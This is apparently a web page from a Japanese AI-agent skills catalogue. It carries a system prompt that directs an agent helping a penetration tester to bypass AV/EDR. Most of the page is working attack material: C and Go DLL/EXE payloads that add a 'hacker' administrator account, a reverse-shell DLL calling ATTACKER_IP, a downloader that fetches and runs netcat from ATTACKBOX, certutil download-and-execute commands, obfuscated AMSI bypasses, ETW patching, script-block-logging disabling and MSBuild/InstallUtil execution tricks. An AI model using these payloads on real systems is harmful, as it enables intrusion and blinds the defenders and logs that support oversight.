You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester bypass AV/EDR that is blocking payload
インストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester bypass AV/EDR that is blocking payload execution during an authorized engagement. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[av-edr-evasion] Activated → <target> to the screen on activation.engagement/evidence/evasion/ with descriptive filenames (e.g.,
custom-dll-winexec-x64.dll, amsi-bypass.ps1).Create the evasion evidence directory if it doesn't exist:
mkdir -p engagement/evidence/evasion
This skill covers payload generation and runtime evasion only. It does NOT cover:
When you have built and optionally verified the bypass payload — STOP. Return to the orchestrator with the artifact path, bypass method, and runtime prerequisites. The orchestrator will re-invoke the original technique skill with your payload.
Stay in methodology. Only use techniques documented in this skill. If you encounter a scenario not covered here, note it and return — do not improvise novel evasion techniques or write complex custom tooling beyond what's documented below.
Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Never download exploits, scripts, or tools directly to the target from the internet. Targets may lack outbound access, and operators must review files before execution on target.
Attackbox-first workflow:
python3 -m http.server 8080 from the directory containing the filewget http://ATTACKBOX:8080/file -O C:\Windows\Temp\file
or curl, certutil, evil-winrm upload, SMB transferContext from the orchestrator (provided in Task prompt):
Attackbox tools:
x86_64-w64-mingw32-gcc / i686-w64-mingw32-gcc — mingw cross-compiler
(apt install mingw-w64)python3 — for struct packing alternativesgo (optional) — for Go cross-compilationCompile payloads to $TMPDIR then move to evidence:
# Compile
x86_64-w64-mingw32-gcc -shared -o $TMPDIR/payload.dll payload.c
# Save evidence
mv $TMPDIR/payload.dll engagement/evidence/evasion/payload.dll
If not already provided by the orchestrator, determine:
Skip if context was already provided.
| Detection | Indicators | Go to |
|---|---|---|
| Signature (most common) | msfvenom payload, known tool binary, file quarantined on write | Step 2: Custom Payload Compilation |
| AMSI | PowerShell command blocked, "This script contains malicious content" | Step 3: AMSI Bypass |
| Behavioral | Process starts then dies within 1-2 seconds, no file quarantine | Step 4: Alternative Execution Methods |
| Heuristic/ML | Unknown detection, no clear signature match | Step 2 first, then Step 4 if still caught |
| ETW/Logging | Need to reduce telemetry before executing payload | Step 5: ETW Patching |
When signature detection catches msfvenom or known tool binaries, compile custom payloads from C source. These work because they call legitimate Win32 APIs directly — no encoded shellcode buffer, no decoder stub, no msfvenom signature patterns.
For service abuse, DnsAdmins, DLL hijacking, or any technique needing a DLL.
Simplest and most reliable. Executes a single command when DllMain is called.
// payload.c — Custom DLL with command execution
// Compile: x86_64-w64-mingw32-gcc -shared -o payload.dll payload.c
// For 32-bit: i686-w64-mingw32-gcc -shared -o payload.dll payload.c
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// Replace with actual command — e.g., add admin user, reverse shell
WinExec("cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add", 0);
}
return TRUE;
}
Common command payloads:
Add local admin:
cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add
PowerShell reverse shell (if AMSI is not blocking):
powershell.exe -nop -w hidden -e <BASE64_ENCODED_REVSHELL>
Certutil download + execute:
cmd.exe /c certutil -urlcache -split -f http://ATTACKBOX:8080/nc.exe C:\\Windows\\Temp\\nc.exe && C:\\Windows\\Temp\\nc.exe -e cmd.exe ATTACKBOX PORT
For DLL injection scenarios where DllMain must return quickly (the calling process hangs if DllMain blocks). Spawns reverse shell in a new thread.
// revshell.c — Non-blocking reverse shell DLL
// Compile: x86_64-w64-mingw32-gcc -shared -o revshell.dll revshell.c -lws2_32
#include <windows.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
// Change these to match your listener
#define ATTACKER_IP "10.10.14.1"
#define ATTACKER_PORT 4444
DWORD WINAPI ReverseShell(LPVOID lpParam) {
WSADATA wsa;
SOCKET sock;
struct sockaddr_in addr;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
WSAStartup(MAKEWORD(2, 2), &wsa);
sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(ATTACKER_PORT);
addr.sin_addr.s_addr = inet_addr(ATTACKER_IP);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) {
closesocket(sock);
WSACleanup();
return 1;
}
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
closesocket(sock);
WSACleanup();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
CreateThread(NULL, 0, ReverseShell, NULL, 0, NULL);
}
return TRUE;
}
Compilation:
# x64
x86_64-w64-mingw32-gcc -shared -o $TMPDIR/revshell.dll revshell.c -lws2_32
# x86
i686-w64-mingw32-gcc -shared -o $TMPDIR/revshell.dll revshell.c -lws2_32
# Move to evidence
mv $TMPDIR/revshell.dll engagement/evidence/evasion/revshell.dll
Alternative toolchain when mingw payloads are still caught or when Go is preferred. Go binaries have different signatures than C/mingw.
// payload.go — Go DLL with command execution
// Build: CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 \
// go build -buildmode=c-shared -ldflags="-s -w" -o payload.dll payload.go
package main
import "C"
import (
"os/exec"
)
//export DllMain
func DllMain() {
cmd := exec.Command("cmd.exe", "/c", "net user hacker Password123! /add && net localgroup administrators hacker /add")
cmd.Run()
}
func main() {}
Build:
CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 \
go build -buildmode=c-shared -ldflags="-s -w" -o $TMPDIR/payload.dll payload.go
mv $TMPDIR/payload.dll engagement/evidence/evasion/payload.dll
For service binpath abuse, direct execution, scheduled tasks.
// payload_exe.c — Custom EXE with command execution
// Compile: x86_64-w64-mingw32-gcc -o payload.exe payload_exe.c
#include <windows.h>
int main() {
WinExec("cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add", 0);
return 0;
}
Downloads and executes a second-stage payload. Useful when you need a larger tool on target but don't want to compile it into the binary.
// downloader.c — Downloads a file from attackbox and executes it
// Compile: x86_64-w64-mingw32-gcc -o downloader.exe downloader.c -lurlmon
#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon")
int main() {
// Download second stage from attackbox
URLDownloadToFileA(NULL,
"http://ATTACKBOX:8080/nc.exe",
"C:\\Windows\\Temp\\svc.exe",
0, NULL);
// Execute
WinExec("C:\\Windows\\Temp\\svc.exe -e cmd.exe ATTACKBOX PORT", 0);
return 0;
}
msfvenom payloads are caught because AV vendors signature their decoder stubs, shellcode patterns, and PE structure. Custom C payloads:
WinExec() / CreateProcess() directly — legitimate Win32 API calls.text sectionVirtualAlloc + memcpy shellcode loaderThis is not obfuscation — it's just writing normal C code that does what you need instead of using a tool whose output is universally signatured.
When PowerShell or .NET-based tools are blocked by the Antimalware Scan Interface. AMSI intercepts script content before execution and sends it to the AV engine for scanning.
Forces AMSI to think initialization failed, so it skips all scanning.
# Reflection-based AMSI bypass (one-liner)
# Sets the amsiInitFailed field to True via reflection
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
If the above is caught (the string "AmsiUtils" itself is flagged), use concatenation to break the signature:
# Obfuscated variant — breaks known string signatures
$a = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils')
$b = $a.GetField('am'+'siIn'+'itFailed','NonPublic,Static')
$b.SetValue($null,$true)
Patches the AmsiScanBuffer function in memory to always return clean.
# AmsiScanBuffer memory patch
# Overwrites the function's first bytes to return AMSI_RESULT_CLEAN
$w = 'System.Management.Automation.Am' + 'siUtils'
$t = [Ref].Assembly.GetType($w)
$m = $t.GetField('amsiContext','NonPublic,Static')
$ptr = $m.GetValue($null)
# Load amsi.dll and find AmsiScanBuffer
$amsi = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
[System.AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.Location -like '*amsi*' } |
Select-Object -First 1
)
Force PowerShell v2 which doesn't have AMSI (requires .NET 2.0 installed):
powershell.exe -version 2 -command "<your command>"
Note: PowerShell v2 is often removed on modern systems. Check with:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
After applying any AMSI bypass, verify it works:
# This string normally triggers AMSI — if bypass worked, it returns without error
"amsiutils"
# Or try loading a tool that was previously blocked
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKBOX:8080/tool.ps1')
When behavioral detection blocks the execution pattern — the payload file survives on disk but gets killed at runtime, or the execution method itself is monitored.
Use legitimate Windows binaries to execute payloads (Living Off the Land):
MSBuild inline task (executes C# without dropping a standalone EXE):
<!-- payload.csproj — save to target, execute with: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build">
<ClassExample />
</Target>
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Diagnostics;
public class ClassExample : Task, ITask {
public override bool Execute() {
Process.Start("cmd.exe", "/c YOUR_COMMAND_HERE");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
InstallUtil (executes .NET assembly via uninstall handler):
# Compile a .NET assembly with an [RunInstaller] class, then:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dll
Rundll32 (execute exported function from custom DLL):
# If your DLL exports a function named "Run":
rundll32.exe payload.dll,Run
When direct HTTP download is blocked but certutil is available:
# Download via certutil (base64 encode first on attackbox)
certutil -urlcache -split -f http://ATTACKBOX:8080/payload.exe C:\Windows\Temp\payload.exe
# Or decode from base64 if HTTP is blocked:
# On attackbox: base64 payload.exe > payload.b64
# Transfer payload.b64 to target, then:
certutil -decode payload.b64 C:\Windows\Temp\payload.exe
If CLM blocks PowerShell execution:
# Check if CLM is active
$ExecutionContext.SessionState.LanguageMode
# If "ConstrainedLanguage", try:
# Option 1: Use cmd.exe instead of PowerShell
cmd.exe /c "command here"
# Option 2: Use MSBuild inline task (above) — not subject to CLM
# Option 3: Use PowerShell v2 (if available) — no CLM enforcement
powershell.exe -version 2
When you need to reduce telemetry before executing a payload. ETW (Event Tracing for Windows) feeds data to EDR agents and Windows logging.
Patch EtwEventWrite to prevent ETW events from being generated:
# ETW bypass — patch EtwEventWrite to return immediately
$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
[System.AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1] -eq 'System.dll' }
)
# Note: Full implementation depends on architecture and .NET version
# The concept: overwrite EtwEventWrite's first bytes with "ret" (0xC3)
.NET ETW bypass (prevents .NET runtime from generating ETW events):
# Disable .NET ETW tracing
[Reflection.Assembly]::LoadWithPartialName('System.Core')
$etwType = [System.Diagnostics.Tracing.EventSource]
# Patch internal tracing flag
Script block logging evasion (prevents PowerShell commands from being logged to event log 4104):
# Disable script block logging for this session
$settings = [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null)
$settings['ScriptBlockLogging'] = @{}
$settings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$settings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
Before returning the payload to the orchestrator, verify it survives on target if possible (requires existing access to the target).
dir C:\Windows\Temp\payload.dll
If AMSI bypass was applied:
# This string is a known AMSI test trigger
"AmsiUtils"
# If no error → bypass is working
# Then test the actual tool/script that was blocked
Verify only that the artifact survives on disk. Do NOT execute the exploit or the payload's intended function. The original technique skill handles exploitation. Your job is to deliver a payload that won't be caught.
After building and optionally verifying the bypass, STOP and return to the orchestrator with:
Return format:
## Evasion Results: <target> (<original-technique>)
### Detection Assessment
- Blocked payload: <what was caught>
- AV/EDR: <product>
- Detection type: <signature/behavioral/AMSI/heuristic>
### Bypass Built
- Artifact: engagement/evidence/evasion/<filename>
- Method: <e.g., "mingw C DLL with WinExec, no shellcode">
- Architecture: <x64/x86>
- Verified on target: <yes/no>
### Runtime Prerequisites
- <e.g., "Run AMSI bypass first", "None", "Transfer nc.exe for reverse shell">
### Evidence
- engagement/evidence/evasion/<filename>
The orchestrator will re-invoke the original technique skill with your payload and instructions.
sudo apt install mingw-w64
Verify: x86_64-w64-mingw32-gcc --version
Check target architecture. 64-bit Windows can run 32-bit EXEs but DLLs must
match the loading process architecture. Use systeminfo output from the
target:
x86_64-w64-mingw32-gcci686-w64-mingw32-gcc
For DLLs loaded by a specific process, check the process architecture with
tasklist /v on target.Some aggressive AV heuristics flag DLLs with WinExec or CreateProcess in
the import table. Options:
system() instead of WinExec() — different importGetProcAddress:
typedef UINT (WINAPI *pWinExec)(LPCSTR, UINT);
pWinExec fWinExec = (pWinExec)GetProcAddress(GetModuleHandleA("kernel32.dll"), "WinExec");
fWinExec("cmd.exe /c command", 0);
Microsoft patches AMSI bypass techniques periodically. If one variant fails:
CLM prevents most .NET reflection and type access. Options:
list_sessions() via shell-server MCPping ATTACKBOX from target (if ICMP allowed)Get-AppLockerPolicy -Effective -XmlC:\Windows\Temp\, user profile dirsまだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
日本語の概要は準備中です。原文の説明を表示しています。